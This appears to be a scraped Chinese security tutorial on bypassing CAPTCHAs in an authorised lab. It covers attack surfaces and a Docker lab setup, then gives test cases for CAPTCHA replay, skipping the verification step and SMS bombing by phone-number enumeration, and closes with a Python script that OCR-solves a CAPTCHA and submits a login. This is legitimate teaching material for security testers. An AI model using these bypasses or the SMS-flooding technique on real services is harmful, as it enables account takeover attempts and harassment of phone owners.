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    #mermaid-svg-pFL5YMQTZ9VHZI5D{font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-pFL5YMQTZ9VHZI5D .error-icon{fill:#552222;}#mermaid-svg-pFL5YMQTZ9VHZI5D .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-pFL5YMQTZ9VHZI5D .marker{fill:#333333;stroke:#333333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .marker.cross{stroke:#333333;}#mermaid-svg-pFL5YMQTZ9VHZI5D svg{font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-pFL5YMQTZ9VHZI5D p{margin:0;}#mermaid-svg-pFL5YMQTZ9VHZI5D .label{font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .cluster-label text{fill:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .cluster-label span{color:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .cluster-label span p{background-color:transparent;}#mermaid-svg-pFL5YMQTZ9VHZI5D .label text,#mermaid-svg-pFL5YMQTZ9VHZI5D span{fill:#333;color:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .node rect,#mermaid-svg-pFL5YMQTZ9VHZI5D .node circle,#mermaid-svg-pFL5YMQTZ9VHZI5D .node ellipse,#mermaid-svg-pFL5YMQTZ9VHZI5D .node polygon,#mermaid-svg-pFL5YMQTZ9VHZI5D .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .rough-node .label text,#mermaid-svg-pFL5YMQTZ9VHZI5D .node .label text,#mermaid-svg-pFL5YMQTZ9VHZI5D .image-shape .label,#mermaid-svg-pFL5YMQTZ9VHZI5D .icon-shape .label{text-anchor:middle;}#mermaid-svg-pFL5YMQTZ9VHZI5D .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .rough-node .label,#mermaid-svg-pFL5YMQTZ9VHZI5D .node .label,#mermaid-svg-pFL5YMQTZ9VHZI5D .image-shape .label,#mermaid-svg-pFL5YMQTZ9VHZI5D .icon-shape .label{text-align:center;}#mermaid-svg-pFL5YMQTZ9VHZI5D .node.clickable{cursor:pointer;}#mermaid-svg-pFL5YMQTZ9VHZI5D .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .arrowheadPath{fill:#333333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-pFL5YMQTZ9VHZI5D .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-pFL5YMQTZ9VHZI5D .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-pFL5YMQTZ9VHZI5D .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-pFL5YMQTZ9VHZI5D .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .cluster text{fill:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D .cluster span{color:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-pFL5YMQTZ9VHZI5D .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-pFL5YMQTZ9VHZI5D rect.text{fill:none;stroke-width:0;}#mermaid-svg-pFL5YMQTZ9VHZI5D .icon-shape,#mermaid-svg-pFL5YMQTZ9VHZI5D .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-pFL5YMQTZ9VHZI5D .icon-shape p,#mermaid-svg-pFL5YMQTZ9VHZI5D .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-pFL5YMQTZ9VHZI5D .icon-shape rect,#mermaid-svg-pFL5YMQTZ9VHZI5D .image-shape rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-pFL5YMQTZ9VHZI5D .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-pFL5YMQTZ9VHZI5D .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-pFL5YMQTZ9VHZI5D :root{–mermaid-font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;}<\/p>\n

    <\/p>\n

    \u81ea\u52a8\u5316\u653b\u51fb\u94fe\u8def<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u670d\u52a1\u5668\u7aef<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u5ba2\u6237\u7aef (\u653b\u51fb\u8005\u89c6\u89d2)<\/p>\n

    <\/span><\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u9762\u2460: \u9884\u6d4b\/\u679a\u4e3e<\/p>\n

    <\/span><\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u9762\u2461: \u4fe1\u606f\u6cc4\u6f0f\u3001\u91cd\u653e<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u9762\u2462: \u524d\u7aef\u6821\u9a8c\u7ed5\u8fc7<\/p>\n

    <\/span><\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u9762\u2463: \u5b58\u50a8\u7f3a\u9677\u3001\u8fc7\u671f\u7b56\u7565<\/p>\n

    <\/span><\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u9762\u2464: \u903b\u8f91\u7f3a\u9677\u3001\u66b4\u529b\u7834\u89e3<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u662f<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u5426<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u9762\u2465: \u72b6\u6001\u4e0d\u540c\u6b65<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u65c1\u8def\u653b\u51fb: OCR\u8bc6\u522b\u3001\u6df1\u5ea6\u5b66\u4e60\u63a8\u7406<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u5229\u7528\u653b\u51fb: \u91cd\u653e\u8bf7\u6c42\u3001\u7be1\u6539\u6570\u636e\u3001\u8c03\u7528API<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u6d41\u7a0b\u5206\u6790: \u903b\u8f91\u3001\u89c4\u5f8b\u3001\u67b6\u6784<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u7528\u6237\u8bbf\u95ee\u9700\u8981\u9a8c\u8bc1\u7801\u7684\u9875\u9762<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u524d\u7aef\u8bf7\u6c42\u83b7\u53d6\u9a8c\u8bc1\u7801<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u670d\u52a1\u5668\u751f\u6210\u9a8c\u8bc1\u7801<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u8fd4\u56de\u9a8c\u8bc1\u7801\u56fe\u7247\/Token\/\u53c2\u6570<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u7528\u6237\u8f93\u5165\u9a8c\u8bc1\u7801<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u63d0\u4ea4\u8868\u5355\u542b\u9a8c\u8bc1\u7801\u7b54\u6848<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u5c06\u6b63\u786e\u7b54\u6848\u4e0eSession\/Key\u7ed1\u5b9a\u5e76\u5b58\u50a8<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u540e\u7aef\u9a8c\u8bc1\u63d0\u4ea4\u7684\u7b54\u6848<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u9a8c\u8bc1\u6210\u529f?<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u6267\u884c\u540e\u7eed\u4e1a\u52a1\u903b\u8f91<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u8fd4\u56de\u9519\u8bef\u53ef\u80fd\u5237\u65b0\u9a8c\u8bc1\u7801<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u81ea\u52a8\u5316\u811a\u672c\/\u5de5\u5177<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u653b\u51fb\u8005\u5927\u8111<\/p>\n

    <\/span><\/p>\n

    <\/p>\n

    \u6574\u4e2a\u6d41\u7a0b<\/p>\n

    <\/span><\/p>\n

    \u653b\u51fb\u9762\u89e3\u8bfb：<\/p>\n

    \u00b7 \u2460 \u9884\u6d4b\/\u679a\u4e3e：\u9a8c\u8bc1\u7801\u662f\u5426\u53ef\u9884\u6d4b（\u5982\u57fa\u4e8e\u65f6\u95f4\u6233）？\u7b54\u6848\u7a7a\u95f4\u662f\u5426\u8fc7\u5c0f（\u59824\u4f4d\u7eaf\u6570\u5b57）？ \u00b7 \u2461 \u4fe1\u606f\u6cc4\u6f0f\u4e0e\u91cd\u653e：\u9a8c\u8bc1\u7801\u7b54\u6848\u662f\u5426\u76f4\u63a5\u8fd4\u56de\u5728\u54cd\u5e94\u4e2d？\u9a8c\u8bc1\u7801\u56fe\u7247\/Token\u662f\u5426\u53ef\u88ab\u540c\u4e00\u4f1a\u8bdd\u591a\u6b21\u4f7f\u7528？ \u00b7 \u2462 \u524d\u7aef\u6821\u9a8c\u7ed5\u8fc7：\u9a8c\u8bc1\u662f\u5426\u4ec5\u5728\u524d\u7aefJavaScript\u8fdb\u884c？\u63d0\u4ea4\u7684\u53c2\u6570\u540d\u662f\u5426\u53ef\u731c\u6d4b（\u5982code\u3001captcha）？ \u00b7 \u2463 \u5b58\u50a8\u4e0e\u72b6\u6001\u7f3a\u9677：\u670d\u52a1\u5668\u5982\u4f55\u5b58\u50a8\u9884\u671f\u7b54\u6848？Session\u7ba1\u7406\u662f\u5426\u5b89\u5168？\u9a8c\u8bc1\u7801\u662f\u5426\u6c38\u4e0d\u5931\u6548\u6216\u8fc7\u65e9\u5931\u6548？ \u00b7 \u2464 \u6838\u5fc3\u903b\u8f91\u7f3a\u9677：\u9a8c\u8bc1\u4e0e\u4e1a\u52a1\u6267\u884c\u662f\u5426\u539f\u5b50\u64cd\u4f5c？\u9a8c\u8bc1\u5931\u8d25\u540e，\u5df2\u6263\u51cf\u7684\u8d44\u6e90（\u5982\u77ed\u4fe1\u6b21\u6570）\u662f\u5426\u56de\u6eda？ \u00b7 \u2465 \u72b6\u6001\u540c\u6b65\u95ee\u9898：\u9a8c\u8bc1\u5931\u8d25\u540e，\u65e7\u7684\u9a8c\u8bc1\u7801\u662f\u5426\u4f9d\u7136\u6709\u6548？\u5237\u65b0\u673a\u5236\u662f\u5426\u5b58\u5728\u7ade\u4e89\u6761\u4ef6？<\/p>\n

    \n

    \u7b2c\u4e09\u90e8\u5206：\u5b9e\u6218\u6f14\u7ec3 \u2014\u2014 \u4ece\u201c\u4e3a\u4ec0\u4e48\u201d\u5230\u201c\u600e\u4e48\u505a\u201d<\/p>\n

    \u73af\u5883\u4e0e\u5de5\u5177\u51c6\u5907<\/p>\n

    \u6211\u4eec\u5c06\u5728\u4e00\u4e2a\u53ef\u63a7\u7684\u6388\u6743\u6d4b\u8bd5\u73af\u5883\u4e2d\u8fdb\u884c\u6f14\u793a\u3002\u672c\u73af\u5883\u96c6\u6210\u4e86\u591a\u79cd\u6709\u7f3a\u9677\u7684\u9a8c\u8bc1\u7801\u5b9e\u73b0\u3002<\/p>\n

    \u6f14\u793a\u73af\u5883：<\/p>\n

    \u00b7 \u76ee\u6807\u5e94\u7528：\u4e00\u4e2a\u4e13\u4e3a\u5b89\u5168\u6d4b\u8bd5\u8bbe\u8ba1\u7684\u8106\u5f31Web\u5e94\u7528 (\u4f8b\u5982： http:\/\/vuln-captcha-lab:8080)\u3002 \u00b7 \u6280\u672f\u6808：Spring Boot + Thymeleaf， \u5305\u542b\u591a\u4e2a\u72ec\u7acb\u7684\u3001\u5b58\u5728\u4e0d\u540c\u6f0f\u6d1e\u7684\u9a8c\u8bc1\u7801\u793a\u4f8b\u7aef\u70b9\u3002<\/p>\n

    \u6838\u5fc3\u5de5\u5177\u6e05\u5355：<\/p>\n

  • \u62e6\u622a\u4e0e\u91cd\u653e：Burp Suite Professional (Community\u7248\u4ea6\u53ef， \u4f46\u7f3a\u5c11Intruder\u7684\u67d0\u4e9b\u9ad8\u7ea7\u529f\u80fd)\u3002<\/li>\n
  • \u6d4f\u89c8\u5668\u4e0e\u5f00\u53d1\u8005\u5de5\u5177：Chrome \/ Firefox\u3002<\/li>\n
  • \u81ea\u52a8\u5316\u811a\u672c\u6846\u67b6：Python 3.8+， \u914d\u5907\u4ee5\u4e0b\u5e93： \u00b7 requests \/ httpx: HTTP\u5ba2\u6237\u7aef\u3002 \u00b7 Pillow (PIL): \u56fe\u50cf\u5904\u7406\u3002 \u00b7 opencv-python (cv2) \/ numpy: \u8ba1\u7b97\u673a\u89c6\u89c9\u9884\u5904\u7406\u3002 \u00b7 pytesseract: Tesseract OCR\u5f15\u64ce\u7684Python\u5c01\u88c5（\u7528\u4e8e\u4f20\u7edfOCR）\u3002 \u00b7 selenium: \u6d4f\u89c8\u5668\u81ea\u52a8\u5316（\u7528\u4e8e\u884c\u4e3a\u9a8c\u8bc1\u7801\u6a21\u62df）\u3002 \u00b7 tensorflow \/ pytorch: \u6df1\u5ea6\u5b66\u4e60\u6846\u67b6（\u7528\u4e8e\u8bad\u7ec3\u5b9a\u5236\u8bc6\u522b\u6a21\u578b， \u8fdb\u9636\u4f7f\u7528）\u3002<\/li>\n
  • OCR\u5f15\u64ce：Tesseract OCR (\u9700\u5355\u72ec\u5b89\u88c5)\u3002<\/li>\n
  • \u6df1\u5ea6\u5b66\u4e60\u8bad\u7ec3\u73af\u5883（\u53ef\u9009）：\u914d\u5907GPU\u7684\u673a\u5668，\u7528\u4e8e\u8bad\u7ec3\u5b9a\u5236\u8bc6\u522b\u6a21\u578b\u3002<\/li>\n

    \u6700\u5c0f\u5316\u5b9e\u9a8c\u73af\u5883\u642d\u5efa（\u4f7f\u7528Docker）：<\/p>\n

    # docker-compose.yml<\/span>
    \nversion<\/span>:<\/span> '3.8'<\/span>
    \nservices<\/span>:<\/span>
    \n vuln-captcha-lab<\/span>:<\/span>
    \n image<\/span>:<\/span> registry.cn–<\/span>hangzhou.aliyuncs.com\/sec–<\/span>lab\/vuln–<\/span>captcha–<\/span>demo:<\/span>latest # \u5047\u8bbe\u5b58\u5728\u6b64\u955c\u50cf<\/span>
    \n ports<\/span>:<\/span>
    \n –<\/span> "8080:8080"<\/span>
    \n environment<\/span>:<\/span>
    \n –<\/span> SPRING_PROFILES_ACTIVE=test
    \n networks<\/span>:<\/span>
    \n –<\/span> test–<\/span>net<\/p>\n

    burp<\/span>:<\/span>
    \n image<\/span>:<\/span> linuxkonsult\/kali–<\/span>burpsuite:<\/span>latest
    \n privileged<\/span>:<\/span> true<\/span>
    \n networks<\/span>:<\/span>
    \n –<\/span> test–<\/span>net
    \n # \u901a\u8fc7VNC\u6216X11\u8f6c\u53d1\u8bbf\u95eeBurp\u754c\u9762<\/span><\/p>\n

    networks<\/span>:<\/span>
    \n test-net<\/span>:<\/span>
    \n driver<\/span>:<\/span> bridge<\/p>\n

    \u4f7f\u7528\u547d\u4ee4 docker-compose up -d \u542f\u52a8\u73af\u5883\u3002<\/p>\n

    \u6807\u51c6\u64cd\u4f5c\u6d41\u7a0b<\/p>\n

    \u9636\u6bb5\u4e00：\u4fe1\u606f\u6536\u96c6\u4e0e\u4fa6\u5bdf<\/p>\n

    \u8bbf\u95ee\u76ee\u6807\u5e94\u7528， \u679a\u4e3e\u6240\u6709\u6d89\u53ca\u9a8c\u8bc1\u7801\u7684\u529f\u80fd\u70b9：\u767b\u5f55\u3001\u6ce8\u518c\u3001\u5bc6\u7801\u627e\u56de\u3001\u77ed\u4fe1\u53d1\u9001\u3001\u6295\u7968\u3001\u8bc4\u8bba\u7b49\u3002<\/p>\n

    \u4f7f\u7528Burp Suite\u6293\u53d6\u4e00\u4e2a\u5178\u578b\u7684\u9a8c\u8bc1\u7801\u8bf7\u6c42\u6d41\u7a0b：<\/p>\n

  • \u62e6\u622a\u201c\u83b7\u53d6\u9a8c\u8bc1\u7801\u201d\u7684\u8bf7\u6c42（\u5982 GET \/api\/captcha\/image）\u3002<\/li>\n
  • \u62e6\u622a\u63d0\u4ea4\u9a8c\u8bc1\u7801\u7684\u8bf7\u6c42（\u5982 POST \/login）\u3002<\/li>\n
  • \u5206\u6790\u8bf7\u6c42\/\u54cd\u5e94\u4e2d\u7684\u5173\u952e\u53c2\u6570： \u00b7 Cookie \/ Session ID：\u9a8c\u8bc1\u7801\u662f\u5426\u4e0e\u7279\u5b9a\u4f1a\u8bdd\u7ed1\u5b9a？ \u00b7 \u9a8c\u8bc1\u7801\u6807\u8bc6：\u662f\u5426\u5b58\u5728\u4e00\u4e2acaptchaId\u3001token\u6216key，\u5c06\u83b7\u53d6\u7684\u9a8c\u8bc1\u7801\u4e0e\u540e\u7eed\u9a8c\u8bc1\u5173\u8054？ \u00b7 \u54cd\u5e94\u4f53：\u9a8c\u8bc1\u7801\u56fe\u7247\u662f\u76f4\u63a5\u8fd4\u56de\u4e8c\u8fdb\u5236\u6d41，\u8fd8\u662fBase64\u7f16\u7801？\u662f\u5426\u6709\u7b54\u6848\u76f4\u63a5\u6cc4\u9732\u5728JSON\u6216HTML\u6ce8\u91ca\u4e2d？（\u8fd9\u662f\u5e38\u89c1\u4f4e\u7ea7\u9519\u8bef）\u3002 \u00b7 \u8bf7\u6c42\u4f53：\u63d0\u4ea4\u9a8c\u8bc1\u7801\u65f6，\u53c2\u6570\u540d\u662f\u4ec0\u4e48？\u662fcaptcha\u3001verificationCode\u8fd8\u662f\u5176\u4ed6？<\/li>\n

    \u9636\u6bb5\u4e8c：\u903b\u8f91\u4e0e\u4e1a\u52a1\u6d41\u5206\u6790<\/p>\n

    \u8fd9\u662f\u6700\u6709\u6548\u7684\u7ed5\u8fc7\u624b\u6bb5，\u901a\u5e38\u4e0d\u4f9d\u8d56\u4e8e\u590d\u6742\u7684\u6280\u672f\u8bc6\u522b\u3002<\/p>\n

    \u6d4b\u8bd5\u6848\u4f8b1：\u9a8c\u8bc1\u7801\u53ef\u91cd\u7528<\/p>\n

  • \u83b7\u53d6\u4e00\u4e2a\u9a8c\u8bc1\u7801， \u5047\u8bbe\u7b54\u6848\u4e3a1234\u3002<\/li>\n
  • \u4f7f\u7528Burp Repeater， \u75281234\u63d0\u4ea4\u7b2c\u4e00\u6b21\u767b\u5f55\u8bf7\u6c42， \u6210\u529f\u3002<\/li>\n
  • \u4e0d\u5237\u65b0\u9a8c\u8bc1\u7801， \u5728Repeater\u4e2d\u518d\u6b21\u53d1\u9001\u76f8\u540c\u7684\u767b\u5f55\u8bf7\u6c42（Cookie\u548ccaptcha\u53c2\u6570\u4e0d\u53d8）\u3002<\/li>\n
  • \u9884\u671f\u5b89\u5168\u7ed3\u679c：\u670d\u52a1\u5668\u5e94\u4f7f\u8be5\u9a8c\u8bc1\u7801\u7acb\u5373\u5931\u6548，\u8fd4\u56de\u9519\u8bef\u3002<\/li>\n
  • \u6f0f\u6d1e\u73b0\u8c61：\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u4f9d\u7136\u6210\u529f，\u8bf4\u660e\u9a8c\u8bc1\u7801\u9a8c\u8bc1\u540e\u72b6\u6001\u672a\u66f4\u65b0，\u53ef\u88ab\u66b4\u529b\u7834\u89e3\u91cd\u590d\u4f7f\u7528\u3002<\/li>\n

    \u6d4b\u8bd5\u6848\u4f8b2：\u9a8c\u8bc1\u73af\u8282\u7f3a\u5931\u6216\u53ef\u7ed5\u8fc7<\/p>\n

  • \u5728\u4e1a\u52a1\u6d41\u7a0b\u4e2d（\u5982\u201c\u91cd\u7f6e\u5bc6\u7801\u201d）， \u6b63\u5e38\u6d41\u7a0b\u662f：\u8f93\u5165\u90ae\u7bb1 -> \u83b7\u53d6\u90ae\u4ef6\u9a8c\u8bc1\u7801 -> \u8f93\u5165\u9a8c\u8bc1\u7801 -> \u91cd\u7f6e\u5bc6\u7801\u3002<\/li>\n
  • \u4f7f\u7528Burp\u62e6\u622a\u201c\u8f93\u5165\u9a8c\u8bc1\u7801\u201d\u540e\u7684\u201c\u91cd\u7f6e\u5bc6\u7801\u201d\u8bf7\u6c42\u3002<\/li>\n
  • \u5c1d\u8bd5\u76f4\u63a5\u8df3\u8fc7\u201c\u8f93\u5165\u9a8c\u8bc1\u7801\u201d\u7684\u6b65\u9aa4， \u5bfb\u627e\u662f\u5426\u6709\u4e00\u4e2a\u72ec\u7acb\u7684API\u7aef\u70b9（\u5982 POST \/resetPassword）\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528，\u4ec5\u51ed\u90ae\u7bb1\u6216Token\u5c31\u80fd\u91cd\u7f6e\u3002<\/li>\n
  • \u6216\u8005， \u5c1d\u8bd5\u5728\u63d0\u4ea4\u201c\u91cd\u7f6e\u5bc6\u7801\u201d\u8bf7\u6c42\u65f6， \u5220\u9664\u6216\u7f6e\u7a7acaptcha\u53c2\u6570， \u89c2\u5bdf\u670d\u52a1\u5668\u662f\u5426\u4f9d\u7136\u5904\u7406\u3002<\/li>\n

    \u6d4b\u8bd5\u6848\u4f8b3：\u9a8c\u8bc1\u7801\u4e0e\u4e1a\u52a1\u64cd\u4f5c\u975e\u539f\u5b50\u6027<\/p>\n

  • \u5728\u201c\u77ed\u4fe1\u9a8c\u8bc1\u7801\u767b\u5f55\u201d\u573a\u666f， \u6b63\u5e38\u6d41\u7a0b：\u8f93\u5165\u624b\u673a\u53f7 -> \u70b9\u51fb\u201c\u53d1\u9001\u9a8c\u8bc1\u7801\u201d -> \u6536\u5230\u77ed\u4fe1 -> \u8f93\u5165\u9a8c\u8bc1\u7801\u767b\u5f55\u3002<\/li>\n
  • \u62e6\u622a\u201c\u53d1\u9001\u9a8c\u8bc1\u7801\u201d\u8bf7\u6c42， \u4f7f\u7528Burp Intruder\u8fdb\u884c\u624b\u673a\u53f7\u679a\u4e3e\u8f70\u70b8\u3002<\/li>\n
  • \u6f0f\u6d1e\u73b0\u8c61：\u5373\u4f7f\u77ed\u4fe1\u63a5\u53e3\u53ef\u80fd\u6709\u9891\u7387\u9650\u5236，\u4f46\u653b\u51fb\u8005\u53ef\u4ee5\u904d\u5386\u4e00\u4e2a\u624b\u673a\u53f7\u6bb5（\u598213800138000\u523013800138999），\u5bfc\u81f4\u5927\u91cf\u5783\u573e\u77ed\u4fe1\u3002<\/li>\n
  • \u6df1\u5165\u6d4b\u8bd5：\u5728\u53d1\u9001\u9a8c\u8bc1\u7801\u540e， \u4e0d\u8fdb\u884c\u767b\u5f55， \u89c2\u5bdf\u662f\u5426\u6709\u63a5\u53e3\u53ef\u4ee5\u91cd\u590d\u89e6\u53d1\u53d1\u9001（\u5982\u201c\u91cd\u53d1\u9a8c\u8bc1\u7801\u201d\u6309\u94ae\u672a\u505a\u9650\u5236）\u3002<\/li>\n

    \u9636\u6bb5\u4e09：\u6280\u672f\u5b9e\u73b0\u5206\u6790<\/p>\n

    \u5f53\u903b\u8f91\u5c42\u9762\u6ca1\u6709\u660e\u663e\u6f0f\u6d1e\u65f6，\u6211\u4eec\u9700\u8981\u5206\u6790\u9a8c\u8bc1\u7801\u672c\u8eab\u7684\u6280\u672f\u5b9e\u73b0\u3002<\/p>\n

    \u6d4b\u8bd5\u6848\u4f8b4：\u7b80\u5355\u7684\u56fe\u5f62\u9a8c\u8bc1\u7801（\u6570\u5b57\u3001\u5b57\u6bcd）<\/p>\n

    \u00b7 \u5de5\u5177：pytesseract (Tesseract OCR) \u00b7 \u6b65\u9aa4：<\/p>\n

  • \u81ea\u52a8\u5316\u8bf7\u6c42\u9a8c\u8bc1\u7801\u56fe\u7247\u5e76\u4fdd\u5b58\u3002<\/li>\n
  • \u4f7f\u7528PIL\/Pillow\u8fdb\u884c\u9884\u5904\u7406：\u7070\u5ea6\u5316\u3001\u4e8c\u503c\u5316\u3001\u964d\u566a\u3002<\/li>\n

    # \u793a\u4f8b\u4ee3\u7801：\u7b80\u5355OCR\u8bc6\u522b\u9a8c\u8bc1\u7801<\/span>
    \nimport<\/span> requests
    \nfrom<\/span> PIL import<\/span> Image,<\/span> ImageFilter
    \nimport<\/span> pytesseract
    \nimport<\/span> io<\/p>\n

    session =<\/span> requests.<\/span>Session(<\/span>)<\/span>
    \n# 1. \u83b7\u53d6\u9a8c\u8bc1\u7801\u56fe\u7247<\/span>
    \ncaptcha_url =<\/span> "http:\/\/vuln-captcha-lab:8080\/captcha\/simple"<\/span>
    \nheaders =<\/span> {<\/span>'User-Agent'<\/span>:<\/span> 'Mozilla\/5.0'<\/span>}<\/span>
    \nresp =<\/span> session.<\/span>get(<\/span>captcha_url,<\/span> headers=<\/span>headers)<\/span><\/p>\n

    # 2. \u9884\u5904\u7406\u56fe\u50cf<\/span>
    \nimage =<\/span> Image.<\/span>open<\/span>(<\/span>io.<\/span>BytesIO(<\/span>resp.<\/span>content)<\/span>)<\/span>.<\/span>convert(<\/span>'L'<\/span>)<\/span> # \u8f6c\u4e3a\u7070\u5ea6<\/span>
    \n# \u4e8c\u503c\u5316 (\u9608\u503c\u53ef\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u8c03\u6574)<\/span>
    \nthreshold =<\/span> 150<\/span>
    \nimage =<\/span> image.<\/span>point(<\/span>lambda<\/span> p:<\/span> p ><\/span> threshold and<\/span> 255<\/span>)<\/span>
    \n# \u53ef\u9009：\u964d\u566a<\/span>
    \nimage =<\/span> image.<\/span>filter<\/span>(<\/span>ImageFilter.<\/span>MedianFilter(<\/span>size=<\/span>3<\/span>)<\/span>)<\/span><\/p>\n

    # 3. \u4f7f\u7528Tesseract\u8bc6\u522b<\/span>
    \n# \u6ce8\u610f：\u9700\u5148\u5728\u7cfb\u7edf\u5b89\u88c5Tesseract-OCR，\u5e76\u53ef\u80fd\u9700\u8981\u6307\u5b9a\u8bed\u8a00\u5305(eng)<\/span>
    \ncustom_config =<\/span> r'–oem 3 –psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'<\/span>
    \ncaptcha_text =<\/span> pytesseract.<\/span>image_to_string(<\/span>image,<\/span> config=<\/span>custom_config)<\/span>.<\/span>strip(<\/span>)<\/span>
    \nprint<\/span>(<\/span>f"\u8bc6\u522b\u7ed3\u679c: <\/span>{<\/span>captcha_text}<\/span><\/span>"<\/span><\/span>)<\/span><\/p>\n

    # 4. \u4f7f\u7528\u8bc6\u522b\u7ed3\u679c\u53d1\u8d77\u8bf7\u6c42 (\u4f8b\u5982\u767b\u5f55)<\/span>
    \nlogin_url =<\/span> "http:\/\/vuln-captcha-lab:8080\/login"<\/span>
    \ndata =<\/span> {<\/span>
    \n 'username'<\/span>:<\/span> 'test'<\/span>,<\/span>
    \n 'password'<\/span>:<\/span> 'test'<\/span>,<\/span>
    \n 'captcha'<\/span>:<\/span> captcha_text
    \n}<\/span>
    \n# \u6ce8\u610f：\u901a\u5e38\u9700\u8981\u643a\u5e26\u83b7\u53d6\u9a8c\u8bc1\u7801\u65f6\u7684Cookie (session\u5df2\u81ea\u52a8\u5904\u7406)<\/span>
    \nlogin_resp =<\/span> session.<\/span>post(<\/span>login_url,<\/span> data=<\/span>data)<\/span>
    \nprint<\/span>(<\/span>login_resp.<\/span>status_code,<\/span> login_resp.<\/span>text[<\/span>:<\/span>200<\/span>]<\/span>)<\/span><\/p>\n

